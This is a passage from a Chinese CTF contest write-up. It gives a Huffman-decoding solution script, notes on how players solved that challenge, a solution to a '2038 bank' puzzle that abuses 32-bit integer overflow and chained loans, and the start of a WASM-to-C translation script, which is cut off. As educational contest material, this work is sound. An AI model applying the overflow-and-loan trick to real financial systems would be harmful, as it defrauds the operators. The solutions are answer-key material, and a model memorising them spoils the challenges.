padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">import</span> <span class="cm-variable">pickle</span></span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">import</span> <span class="cm-variable">binascii</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">from</span> <span class="cm-variable">collections</span> <span class="cm-keyword">import</span> <span class="cm-variable">Counter</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">cnt_map</span> = {<span class="cm-string">'e'</span>: <span class="cm-number">70</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'2'</span>: <span class="cm-number">274</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'9'</span>: <span class="cm-number">81</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'4'</span>: <span class="cm-number">124</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'7'</span>: <span class="cm-number">311</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'1'</span>: <span class="cm-number">77</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'6'</span>: <span class="cm-number">649</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'d'</span>: <span class="cm-number">35</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'f'</span>: <span class="cm-number">69</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'0'</span>: <span class="cm-number">208</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'5'</span>: <span class="cm-number">119</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'c'</span>: <span class="cm-number">35</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'a'</span>: <span class="cm-number">3</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'8'</span>: <span class="cm-number">55</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'3'</span>: <span class="cm-number">94</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'b'</span>: <span class="cm-number">6</span>}</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">unk</span> = <span class="cm-builtin">list</span>(<span class="cm-variable">cnt_map</span>.<span class="cm-property">keys</span>())</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">huffs</span> = [(<span class="cm-variable">v</span>,<span class="cm-variable">k</span>) <span class="cm-keyword">for</span> <span class="cm-variable">k</span>,<span class="cm-variable">v</span> <span class="cm-keyword">in</span> <span class="cm-variable">cnt_map</span>.<span class="cm-property">items</span>()] <span class="cm-comment"># cnt, char</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">while</span> <span class="cm-builtin">len</span>(<span class="cm-variable">huffs</span>)<span class="cm-operator">></span><span class="cm-number">1</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">huffs</span>.<span class="cm-property">sort</span>(<span class="cm-variable">key</span>=<span class="cm-keyword">lambda</span> <span class="cm-variable">x</span>:<span class="cm-variable">x</span>[<span class="cm-number">0</span>])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">c1</span>,<span class="cm-variable">t1</span> = <span class="cm-variable">huffs</span>[<span class="cm-number">0</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">c2</span>,<span class="cm-variable">t2</span> = <span class="cm-variable">huffs</span>[<span class="cm-number">1</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-builtin">len</span>(<span class="cm-variable">huffs</span>)<span class="cm-operator">></span><span class="cm-number">2</span> <span class="cm-keyword">and</span> <span class="cm-variable">c2</span>==<span class="cm-variable">huffs</span>[<span class="cm-number">2</span>][<span class="cm-number">0</span>]:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">conf</span>=<span class="cm-number">0</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span> <span class="cm-variable">h</span> <span class="cm-keyword">in</span> <span class="cm-variable">huffs</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">h</span>[<span class="cm-number">0</span>]==<span class="cm-variable">c2</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-variable">h</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">conf</span>+=<span class="cm-number">1</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-string">'-- confusion'</span>, <span class="cm-variable">conf</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">huffs</span> = <span class="cm-variable">huffs</span>[<span class="cm-number">2</span>:]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">huffs</span>.<span class="cm-property">append</span>((<span class="cm-variable">c1</span><span class="cm-operator">+</span><span class="cm-variable">c2</span>, [<span class="cm-variable">t1</span>, <span class="cm-variable">t2</span>]))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">codecs</span> = []</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">dfs</span>(<span class="cm-variable">tree</span>, <span class="cm-variable">pfx</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-builtin">isinstance</span>(<span class="cm-variable">tree</span>, <span class="cm-builtin">str</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">codecs</span>.<span class="cm-property">append</span>((<span class="cm-variable">tree</span>, <span class="cm-variable">pfx</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">else</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">dfs</span>(<span class="cm-variable">tree</span>[<span class="cm-number">0</span>], <span class="cm-variable">pfx</span><span class="cm-operator">+</span><span class="cm-string">'0'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">dfs</span>(<span class="cm-variable">tree</span>[<span class="cm-number">1</span>], <span class="cm-variable">pfx</span><span class="cm-operator">+</span><span class="cm-string">'1'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">dfs</span>(<span class="cm-variable">huffs</span>[<span class="cm-number">0</span>][<span class="cm-number">1</span>], <span class="cm-string">''</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">codecs_map</span> = {<span class="cm-variable">k</span>:<span class="cm-variable">v</span> <span class="cm-keyword">for</span> <span class="cm-variable">k</span>,<span class="cm-variable">v</span> <span class="cm-keyword">in</span> <span class="cm-variable">codecs</span>}</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">lines</span> = []</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">lenmap</span> = {} <span class="cm-comment"># char: len</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">lines_set</span> = <span class="cm-builtin">set</span>()</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">for</span> <span class="cm-variable">c</span> <span class="cm-keyword">in</span> <span class="cm-variable">cnt_map</span>.<span class="cm-property">keys</span>():</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">c</span> <span class="cm-keyword">not</span> <span class="cm-keyword">in</span> <span class="cm-variable">lines_set</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">lines</span>.<span class="cm-property">append</span>((<span class="cm-variable">c</span>, <span class="cm-variable">cnt_map</span>[<span class="cm-variable">c</span>], <span class="cm-builtin">len</span>(<span class="cm-variable">codecs_map</span>[<span class="cm-variable">c</span>])))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">lenmap</span>[<span class="cm-variable">c</span>] = <span class="cm-builtin">len</span>(<span class="cm-variable">codecs_map</span>[<span class="cm-variable">c</span>])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">lines_set</span>.<span class="cm-property">add</span>(<span class="cm-variable">c</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">lines</span>.<span class="cm-property">sort</span>(<span class="cm-variable">key</span>=<span class="cm-keyword">lambda</span> <span class="cm-variable">x</span>: (<span class="cm-variable">x</span>[<span class="cm-number">1</span>], <span class="cm-operator">-</span><span class="cm-variable">x</span>[<span class="cm-number">2</span>]))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">decode</span>(<span class="cm-variable">s</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">knowns</span> = [] <span class="cm-comment"># bits -> char</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">unkidx</span> = <span class="cm-number">0</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">sidx</span> = <span class="cm-number">0</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">decoded</span> = []</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">while</span> <span class="cm-variable">sidx</span><span class="cm-operator"><</span><span class="cm-builtin">len</span>(<span class="cm-variable">s</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">#print(s[sidx:sidx+10])</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span> <span class="cm-variable">bits</span>, <span class="cm-variable">char</span> <span class="cm-keyword">in</span> <span class="cm-variable">knowns</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">s</span>[<span class="cm-variable">sidx</span>:].<span class="cm-property">startswith</span>(<span class="cm-variable">bits</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">#print('known', char)</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">decoded</span>.<span class="cm-property">append</span>(<span class="cm-variable">char</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">sidx</span> += <span class="cm-builtin">len</span>(<span class="cm-variable">bits</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">break</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">else</span>: <span class="cm-comment"># new</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">char</span> = <span class="cm-variable">unk</span>[<span class="cm-variable">unkidx</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">unkidx</span> += <span class="cm-number">1</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">lenbits</span> = <span class="cm-variable">lenmap</span>[<span class="cm-variable">char</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">bits</span> = <span class="cm-variable">s</span>[<span class="cm-variable">sidx</span>:<span class="cm-variable">sidx</span><span class="cm-operator">+</span><span class="cm-variable">lenbits</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">knowns</span>.<span class="cm-property">append</span>((<span class="cm-variable">bits</span>, <span class="cm-variable">char</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">decoded</span>.<span class="cm-property">append</span>(<span class="cm-variable">char</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">sidx</span> += <span class="cm-variable">lenbits</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-string">'new'</span>, <span class="cm-variable">char</span>, <span class="cm-variable">bits</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">binascii</span>.<span class="cm-property">unhexlify</span>((<span class="cm-string">''</span>.<span class="cm-property">join</span>(<span class="cm-variable">decoded</span>)).<span class="cm-property">encode</span>()[::<span class="cm-operator">-</span><span class="cm-number">1</span>])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">encoded</span> = <span class="cm-string">'（编码的0-1串）'</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">lenmap</span>[<span class="cm-string">'d'</span>], <span class="cm-variable">lenmap</span>[<span class="cm-string">'c'</span>] = <span class="cm-variable">lenmap</span>[<span class="cm-string">'c'</span>], <span class="cm-variable">lenmap</span>[<span class="cm-string">'d'</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-builtin">print</span>(<span class="cm-variable">decode</span>(<span class="cm-variable">encoded</span>))</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 2083px;"></div><div class="CodeMirror-gutters" style="display: none; height: 2083px;"></div></div></div></pre><p><strong><span>赛场情况：</span></strong></p><p><span>解出 Flag 的</span><strong><span>大多数选手</span></strong><span>都不知道 dict 元素保持插入顺序，但还是硬搞出来了。因为字符只有 16 种，连蒙带猜也能搞出来。而且</span><a href='https://pypi.org/project/dahuffman/'><span>有的 Huffman 编码库</span></a><span>直接跑一下就能得到一个大多数字符都正确的解码结果……</span></p><p><span>另外有选手表示没注意到 </span><code>text = text[::-1]</code><span>，被坑了好久。这里可不是胖虎我故意刁难大家，而是如果不逆序一下的话，Counter 的顺序有点容易看出来（从上往下按 ASCII 码解一下就能解出前几个字母）。</span></p><p><span>但还是被非预期解打爆了，呜呜。</span></p><p> </p><h1><a name="验题-writeup" class="md-header-anchor"></a><span>验题 Writeup</span></h1><p><span>在验题过程中有些题目感觉有意思，把我的解法也大致说一下</span><del><span>，顺便来一点暴论</span></del><span>（x</span></p><p> </p><h2><a name="2038-年的银行misc）" class="md-header-anchor"></a><span>2038 年的银行（Misc）</span></h2><p><span>只要点点点就能出 Flag，是场上唯一一道用智能冰箱答题体验良好的题目（x</span></p><p><span>首先随便玩玩，不难发现用正常办法是弄不到 Flag 的，因为总资产 500，每天利息 2% 就是最多 10 块，但一个面包也 10 块，所以钱不会变多。</span></p><p><span>由于借款额度是存款的 10 倍，容易想到可以通过借款来刷额度，即在银行 A 借来钱存到 B 上，在银行 B 借来钱存到 C 上，这样就可以每次把额度翻十倍。额度最高能刷到 2000000000。</span></p><p><span>题目 “2038” 显然是在暗示 32 位有符号整数溢出问题，稍微玩玩就会发现欠款和存款超过 2147483647 之后都会溢出。但可惜限制了还款不能还负数，所以没法直接利用这个 Bug，欠款会在 +20 亿和 -20 亿之间反复横跳，但只有在正数的时候可以还。</span></p><p><span>但是由于有三个银行，就有搞头了。假设我们在银行 A 借 20 亿，在银行 B 和 C 分别存 10 亿，那么当银行 A 的欠款在 ±20 亿反复横跳的过程中，B 和 C 的利息都是在稳步计算的。这样多睡几天之后，我们依然只需要还 20 亿欠款，却有了两笔 20 亿存款。这样就可以把钱还上然后买 Flag 了。</span></p><p><span>这道题虽然不涉及什么具体的网安知识，从头到尾连 DevTools 都不用打开一下，但它却体现了安全研究所需要的思维：</span><a href='https://www.zhihu.com/question/28754900'><span>搞安全「猥琐」最重要</span></a><span>（这句话最初的源头大概是知道创宇？）。从各个角度测试系统的表现，然后敏锐地发现系统缺陷、迅速 </span><del><span>搞钱</span></del><span> 构造出攻击方法，这种思维方式比熟练记忆一百种漏洞的利用方法要重要得多。这也是为什么我出 Web 题特意避开了 PHP 反序列化、SQL 注入、Java XXE 这些常见套路题。</span></p><p> </p><h2><a name="未来的机器binary）" class="md-header-anchor"></a><span>未来的机器（Binary）</span></h2><p><span>一上来就看到 600 多行汇编，听说还真有不少选手强行逆出来了，太卷了太卷了。</span></p><p><span>但我不想弄得这么麻烦，所以先看看这个汇编是什么格式的。搜索 </span><code>$env.abortStackOverflow</code><span> 可以发现这是一个 Emscripten 生成的 WASM 代码 </span><del><span>所以此题可以分类为 Web</span></del><span>，用 WABT 形式表示的，但是又不完全是 WABT，因为 WABT 的函数头尾被删掉了。</span></p><p><span>因为懒得复原 WABT，我们换一个思路。首先简单写一个把汇编翻译为 C 代码的脚本：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="python" style="break-inside: unset;"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">from</span> <span class="cm-variable">collections</span> <span class="cm-keyword">import</span> <span class="cm-variable">deque</span></span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">with</span> <span class="cm-builtin">open</span>(<span class="cm-string">'asm.txt'</span>) <span class="cm-keyword">as</span> <span class="cm-variable">f</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">lines</span> = <span class="cm-variable">f</span>.<span class="cm-property">read</span>().<span class="cm-property">splitlines</span>()</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">out</span>=[]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">'int t1, t2;'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">label_def</span> = <span class="cm-builtin">set</span>()</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">s</span> = <span class="cm-variable">deque</span>()</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">for</span> <span class="cm-variable">lno</span>, <span class="cm-variable">line</span> <span class="cm-keyword">in</span> <span class="cm-builtin">enumerate</span>(<span class="cm-variable">lines</span>): </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">def</span> <span class="cm-def">spush</span>():</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">s</span>.<span class="cm-property">append</span>(<span class="cm-variable">lno</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">'int s%d;'</span><span class="cm-operator">%</span><span class="cm-variable">lno</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-string">'s%d'</span><span class="cm-operator">%</span><span class="cm-variable">lno</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">def</span> <span class="cm-def">spop</span>():</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-string">'s%d'</span><span class="cm-operator">%</span><span class="cm-variable">s</span>.<span class="cm-property">pop</span>()</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">#out.append(f'report_line({lno});')</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">ops</span> = <span class="cm-variable">line</span>.<span class="cm-property">split</span>()</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">op</span> = <span class="cm-variable">ops</span>[<span class="cm-number">0</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">op</span>==<span class="cm-string">'global.get'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">idx</span> = <span class="cm-builtin">int</span>(<span class="cm-variable">ops</span>[<span class="cm-number">1</span>][<span class="cm-builtin">len</span>(<span class="cm-string">'$global'</span>):])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f'{spush()} = global[{idx}];'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'local.set'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">idx</span> = <span class="cm-builtin">int</span>(<span class="cm-variable">ops</span>[<span class="cm-number">1</span>][<span class="cm-builtin">len</span>(<span class="cm-string">'$var'</span>):])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f'local[{idx}] = {spop()};'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.const'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">i</span> = <span class="cm-builtin">int</span>(<span class="cm-variable">ops</span>[<span class="cm-number">1</span>])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f'{spush()} = {i};'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.add'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; 